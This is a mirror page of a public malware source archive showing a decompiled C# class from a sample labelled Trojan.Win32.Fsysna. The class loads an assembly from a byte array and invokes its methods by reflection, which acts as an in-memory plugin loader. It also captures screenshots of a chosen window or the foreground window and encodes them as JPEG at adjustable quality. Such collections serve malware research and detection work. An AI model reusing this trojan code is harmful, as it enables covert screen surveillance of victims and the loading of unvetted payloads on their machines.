mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-28 21:15:06 +00:00
f2ac1ece55
add
153 lines
5.8 KiB
C#
153 lines
5.8 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: n.C
|
|
// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.wh-0adec5f2e37dcb28180512f882c1aec3a7f939bf33e4147587c7b7277719444b.exe
|
|
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.Drawing;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using System.Reflection;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Runtime.InteropServices;
|
|
using System.Threading;
|
|
|
|
namespace n
|
|
{
|
|
public class C
|
|
{
|
|
public static byte[] Plug;
|
|
|
|
public static object inv(ref byte[] F, ref string C, ref string S, ref object P)
|
|
{
|
|
Assembly assembly = Assembly.Load(F);
|
|
return assembly.GetType(C).GetMethod(S).Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(assembly.GetType(C)))), (object[]) P);
|
|
}
|
|
|
|
public static Image Capture(ref int hwd)
|
|
{
|
|
API.wd.ShowWindow(hwd, 5);
|
|
Thread.Sleep(100);
|
|
C.RECT lpRect = new C.RECT();
|
|
C.GetWindowRect((IntPtr) hwd, ref lpRect);
|
|
string str = Conversions.ToString(lpRect.top) + Conversions.ToString(lpRect.right) + Conversions.ToString(lpRect.left) + Conversions.ToString(lpRect.bottom);
|
|
int index = 0;
|
|
int num1;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
if (Operators.CompareString(Conversions.ToString(str[index]), "-", false) == 0)
|
|
++num1;
|
|
}
|
|
if (num1 == 4)
|
|
{
|
|
ref int local1 = ref hwd;
|
|
int num2 = 2;
|
|
ref int local2 = ref num2;
|
|
API.wd.G(ref local1, ref local2);
|
|
ref int local3 = ref hwd;
|
|
int num3 = 1;
|
|
ref int local4 = ref num3;
|
|
API.wd.G(ref local3, ref local4);
|
|
C.GetWindowRect((IntPtr) hwd, ref lpRect);
|
|
}
|
|
Size blockRegionSize = new Size(lpRect.right, lpRect.bottom);
|
|
Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height);
|
|
Graphics graphics1 = Graphics.FromImage((Image) bitmap1);
|
|
graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy);
|
|
graphics1.Dispose();
|
|
Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
|
|
bitmap1.Dispose();
|
|
Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top);
|
|
Graphics graphics2 = Graphics.FromImage((Image) bitmap2);
|
|
graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel);
|
|
graphics2.Dispose();
|
|
return bitmap2.GetThumbnailImage((int) Math.Round((double) bitmap2.Width / 2.0 + (double) bitmap2.Width / 6.0), (int) Math.Round((double) bitmap2.Height / 2.0 + (double) bitmap2.Height / 6.0), (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
|
|
}
|
|
|
|
public static byte[] Capture1(ref int q)
|
|
{
|
|
IntPtr foregroundWindow = API.GetForegroundWindow();
|
|
if (foregroundWindow == IntPtr.Zero)
|
|
return new MemoryStream(sc.gc(ref q)).ToArray();
|
|
int num;
|
|
switch (q)
|
|
{
|
|
case 0:
|
|
num = 65;
|
|
break;
|
|
case 1:
|
|
num = 60;
|
|
break;
|
|
case 2:
|
|
num = 55;
|
|
break;
|
|
case 3:
|
|
num = 50;
|
|
break;
|
|
case 4:
|
|
num = 45;
|
|
break;
|
|
case 5:
|
|
num = 40;
|
|
break;
|
|
case 6:
|
|
num = 35;
|
|
break;
|
|
case 7:
|
|
num = 30;
|
|
break;
|
|
case 8:
|
|
num = 25;
|
|
break;
|
|
case 9:
|
|
num = 20;
|
|
break;
|
|
case 10:
|
|
num = 10;
|
|
break;
|
|
}
|
|
EncoderParameters encoderParams = new EncoderParameters(1);
|
|
encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num);
|
|
ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg");
|
|
C.RECT lpRect = new C.RECT();
|
|
C.GetWindowRect(foregroundWindow, ref lpRect);
|
|
Size blockRegionSize = new Size(lpRect.right, lpRect.bottom);
|
|
Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height);
|
|
Graphics graphics1 = Graphics.FromImage((Image) bitmap1);
|
|
graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy);
|
|
graphics1.Dispose();
|
|
Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
|
|
bitmap1.Dispose();
|
|
Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top);
|
|
Graphics graphics2 = Graphics.FromImage((Image) bitmap2);
|
|
graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel);
|
|
graphics2.Dispose();
|
|
MemoryStream memoryStream = new MemoryStream();
|
|
bitmap2.Save((Stream) memoryStream, encoderInfo, encoderParams);
|
|
return memoryStream.ToArray();
|
|
}
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern IntPtr GetDesktopWindow();
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern IntPtr GetWindowDC(IntPtr hwnd);
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc);
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern int GetWindowRect(IntPtr hwnd, ref C.RECT lpRect);
|
|
|
|
public struct RECT
|
|
{
|
|
public int left;
|
|
public int top;
|
|
public int right;
|
|
public int bottom;
|
|
}
|
|
}
|
|
}
|